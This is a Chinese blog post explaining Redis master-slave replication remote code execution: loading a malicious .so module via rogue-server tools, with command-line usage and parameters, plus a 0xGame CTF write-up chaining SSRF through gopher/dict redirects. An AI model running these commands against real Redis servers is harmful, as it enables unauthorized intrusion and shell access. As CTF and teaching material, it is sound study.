type
Post
status
Published
date
slug
summary
tags
推荐
category
技术分享
category (1)
icon
password
comment

一、Redis 主从复制一键自动化RCE

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
通过脚本实现一键自动化getshell:
1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。
2、攻击端执行: python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

二、Redis主从复制利用原理

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
编写恶意so文件的代码。l利用脚本https://github.com/Dliv3/redis-rogue-server

三、Redis主从复制的几种情况

(一)、主动连接模式

适用于目标Redis服务处于外网的情况
  • 外网Redis未授权访问
  • 已知外网Redis口令
启动redis rogue server,并主动连接目标redis服务发起攻击
参数说明:
  • -rpasswd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码
  • -rhost 目标redis服务IP
  • -rport 目标redis服务端口,默认为6379
  • -lhost vps的外网IP地址
  • -lport vps监控的端口,默认为21000
攻击成功之后,你会得到一个交互式shell

(二)、被动连接模式

适用于目标Redis服务处于内网的情况
  • 通过SSRF攻击Redis
  • 内网Redis未授权访问/已知Redis口令, Redis需要反向连接redis rogue server
这种情况下可以使用--server-only选项
参数说明:
  • -server-only 仅启动redis rogue server, 接受目标redis的连接,不主动发起连接

四、例题

2023 0xGame web_snapshot

题⽬会通过 curl 函数请求⽹⻚, 并将 html 源码保存在 Redis 数据库中
请求⽹⻚的过程很明显存在 ssrf, 但是限制输⼊的 url 只能以 http / https 开头
⾸先注意 curl_setopt 设置的参数 CURLOPT_FOLLOWLOCATION , 代表允许 curl 根据返回头中的 Location 进⾏
重定向
参考: https://www.php.net/manual/zh/function.curl-setopt.php
[
image-20231026170919748
[
image-20231026171207915
⽽ curl ⽀持 dict / gopher 等协议, 那么我们就可以通过 Location 头把协议从 http 重定向⾄ dict / gopher, 这个技
巧在⼀些关于 ssrf 的⽂章⾥⾯也会提到
https://www.cnblogs.com/xiaozi/p/13089906.html
https://github.com/Dliv3/redis-rogue-serve
payload
分两次打
在 vps 上启动⼀个 php 服务器, 例如 php -S 0.0.0.0:65000 , 然后让题⽬去访问这个 php ⽂件(我用的是直接启动apache
[
image-20231026171416494
第⼆次打完之后, 访问给出的 link 拿到回显
[
image-20231026171444844
这⾥得注意⼏个点
⾸先 gopher 得分两次打, 不然你在执⾏ slaveof IP Port 命令之后⼜⽴即执⾏了 slave of no one , 这就导
致根本没有时间去主从复制 exp.so
其次在使⽤ gopher 发送 redis 命令的时候记得结尾加上 quit , 不然会⼀直卡住
然后注意 redis 的主机名是 db , ⽽不是 127.0.0.1 , 因此访问 redis 数据库得⽤ db:6379
如果⽤ dict 协议打的话, 得调整⼀下 payload 顺序
因为每次执⾏命令之间会存在⼀定的时间间隔, 所以得先设置 dir 和 dbfilename, 然后再 slaveof, 不然最终同步的
⽂件名和路径还是原来的 /data/dump.rdb
WAR包的目录结构SICTF2024-Round-3
Loading...